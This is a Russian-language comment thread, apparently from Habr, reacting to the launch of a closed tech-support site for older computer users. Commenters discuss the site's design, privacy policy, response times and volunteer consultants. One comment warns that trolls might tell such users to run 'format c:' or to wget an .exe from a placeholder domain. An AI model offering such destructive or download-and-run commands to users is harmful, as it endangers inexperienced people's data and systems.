Comments 13
В чем принципиальное отличие от какого нить superuser.com/? ну кроме регистрации и русского языка.
0
В том, что например, бухгалтер из соседнего кабинета, не пойдет на подобный сайт задавать свой вопрос по двум причинам:
1. Открытость информации. Мой сайт расчитан на более старшее поколение, которое в общем-то не очень хорошо разбирается в компьютерах и боится спрашивать у масс. А тут вроде беседы с психологом — все закрыто и частно.
2. Нет необходимости выбирать из тучи ответов что-то подходящее, нет необходимости анализировать эти ответы. Большинство людей более старшего поколения не обременены знаниями в области IT, и не станут разбираться с огромным количеством советов. Им нужен один, но четкий и понятный ответ профессионала.
1. Открытость информации. Мой сайт расчитан на более старшее поколение, которое в общем-то не очень хорошо разбирается в компьютерах и боится спрашивать у масс. А тут вроде беседы с психологом — все закрыто и частно.
2. Нет необходимости выбирать из тучи ответов что-то подходящее, нет необходимости анализировать эти ответы. Большинство людей более старшего поколения не обременены знаниями в области IT, и не станут разбираться с огромным количеством советов. Им нужен один, но четкий и понятный ответ профессионала.
+1
Подозреваю, что закрытость в совокупности со старшим поколением может быть опасна, троллями, которые будут советовать набрать «format c:» и нажать enter. Ну или что нибудь поинтересней:
wget httр://domain.ru/bez-obidniy.exe
(wget заменить на виндовый аналог, о котором я не знаю :) )
В итоге, сайт рискует стать источником рабов для кулл-хацкеров.
На открытых сервисах с дискуссиями такого тролля быстро остановят. А здесь?
wget httр://domain.ru/bez-obidniy.exe
(wget заменить на виндовый аналог, о котором я не знаю :) )
В итоге, сайт рискует стать источником рабов для кулл-хацкеров.
На открытых сервисах с дискуссиями такого тролля быстро остановят. А здесь?
+2
На сайте существует механизм «Пожаловаться на действия консульнтанта» а аткже специальный раздел для жалоб и предложений. Отбор консультантов также будет вестись серьезно — хотелось бы видеть в команде не только знающих, но и адекватных персонажей. Тем не менее, поднятая Вами тема интересна и я еще поудмаю над этим.
0
1. Нижний блок наверх, ведь он для тех, кто впервые на сайте.
2. Зачем нужен огромный блок «Расскажи всем!». Вряд ли люди старшего поколения, пришедшие на сайт, активно пользуются G+ или твиттером. Если уж на то пошло, то нету кнопки этих их Одноклассников, на которых некоторые из них сидят.
3. Где Terms of Use и Privacy Policy. Вдруг вы передаете мой мейл третьим лицам, а запросы пользователей индексируются в Яндексе?
4. Ждать ответа несколько дней?
5. Допустим, что я хочу помочь ответить на запрос, оставленный каким-нибудь пользователем. Как это сделать совсем неочевидно.
2. Зачем нужен огромный блок «Расскажи всем!». Вряд ли люди старшего поколения, пришедшие на сайт, активно пользуются G+ или твиттером. Если уж на то пошло, то нету кнопки этих их Одноклассников, на которых некоторые из них сидят.
3. Где Terms of Use и Privacy Policy. Вдруг вы передаете мой мейл третьим лицам, а запросы пользователей индексируются в Яндексе?
4. Ждать ответа несколько дней?
5. Допустим, что я хочу помочь ответить на запрос, оставленный каким-нибудь пользователем. Как это сделать совсем неочевидно.
+2
С блоками поэксперементируем. Раньше нижний блок был вверху, но тестерам из «закрытого бета-теста» это не очень понравилось. Думаю мы проведем эксперимент с блоками, при помощи инструментов гугла.
Одноклассников в «Расскажи всем» обязательно добавим. Опять же этот блок — результат бета-теста. Социальные сети в него выбирались как то наобум. Думаю, Твиттер заменим одноклассниками.
«Пользовательское соглашение и вопросы конфеденциальности» уже в разработке, под ссылочку забронировано место. Яндексу с Гуглом личные данные не достанутся, а раздавать эмейлы чужим людям — ну это как то совсем плохо, знаете ли…
Да, ответа ждать несколько дней. На данный момент мы укладываемся в один день. Дело в том, что к проекту привлечены на трое постоянных консультантов, которые работают с обращениями. У человека со стороны нет возможности консультировать клиентов без приглашения администрации. В этом отличие от Ответов.Гугла и других подобных сервисов.
Одноклассников в «Расскажи всем» обязательно добавим. Опять же этот блок — результат бета-теста. Социальные сети в него выбирались как то наобум. Думаю, Твиттер заменим одноклассниками.
«Пользовательское соглашение и вопросы конфеденциальности» уже в разработке, под ссылочку забронировано место. Яндексу с Гуглом личные данные не достанутся, а раздавать эмейлы чужим людям — ну это как то совсем плохо, знаете ли…
Да, ответа ждать несколько дней. На данный момент мы укладываемся в один день. Дело в том, что к проекту привлечены на трое постоянных консультантов, которые работают с обращениями. У человека со стороны нет возможности консультировать клиентов без приглашения администрации. В этом отличие от Ответов.Гугла и других подобных сервисов.
0
А вот еще интересно:
1) Эти трое консультантов работают бесплатно и в свободное время?
2) Сколько у вас примерно запросов в день и с чем они чаще всего связаны?
1) Эти трое консультантов работают бесплатно и в свободное время?
2) Сколько у вас примерно запросов в день и с чем они чаще всего связаны?
0
Консультанты работают бесплатно. В настоящий момент платить не с чего :) Возможно, в будущем появятся платные услуги на сайте, или сами консультации сделаем платными (по принципу «Кто сколько сможет»).
На данный момент у нас примерно 10 запросов в день. Мы стараемся не тянуть кота за хвост и обрабатывать (то есть завершать) их в течение двух дней как максимум. Если один консультант не успевает, то в процесс включается другой (консультации независимы друг от друга и консультанты тоже, но есть возможность пригласить на помощь друг друга). На данный момент лидируют вопросы, связанные с установкой драйверов, активацией нелицензионной Винды (отвечаем просто — идите в магазин), и имеются несколько вопросов, связанные с хостингом (там еще проще — передаем запрос на э-почту того самого хостера). Думаю с двадцать вопросов найдется по части Office (от активации, до наглых типа «А могли бы вы мне оформить дипломку/ответ/письмо?»).
На данный момент у нас примерно 10 запросов в день. Мы стараемся не тянуть кота за хвост и обрабатывать (то есть завершать) их в течение двух дней как максимум. Если один консультант не успевает, то в процесс включается другой (консультации независимы друг от друга и консультанты тоже, но есть возможность пригласить на помощь друг друга). На данный момент лидируют вопросы, связанные с установкой драйверов, активацией нелицензионной Винды (отвечаем просто — идите в магазин), и имеются несколько вопросов, связанные с хостингом (там еще проще — передаем запрос на э-почту того самого хостера). Думаю с двадцать вопросов найдется по части Office (от активации, до наглых типа «А могли бы вы мне оформить дипломку/ответ/письмо?»).
0
а как можно это приглашение получить?
0
А каким образом у Вас генерируется приветствие? Меня вот сейчас с добрым утром поздравляют…
Вообще идея очень хорошая, но «проблемы с компьютером» редко могут ждать «несколько дней».
Может быть позволите пользователям получить приоритет за $$$?
Вообще идея очень хорошая, но «проблемы с компьютером» редко могут ждать «несколько дней».
Может быть позволите пользователям получить приоритет за $$$?
0
Приветствие пофиксили. Одну строчку збыли дописать :) Но ведь 3 часа ночи — утро ведь :)
Идея с ускорение обслуживания за $$$ интересна, подумаем над тем как это реализовать. Но думаю, пока это нет так необходимо, так что появится к началу сентября вместе с пачкой других обновлений.
Идея с ускорение обслуживания за $$$ интересна, подумаем над тем как это реализовать. Но думаю, пока это нет так необходимо, так что появится к началу сентября вместе с пачкой других обновлений.
0
Ещё у Вас по-ходу «резиновость» не работает.
Н небольших мониторах (13") это особо заметно
pix.am/z3yE/
Н небольших мониторах (13") это особо заметно
pix.am/z3yE/
0
Sign up to leave a comment.
Articles
Change theme settings
Goodsoft.eu — независимая :) служба техподдержки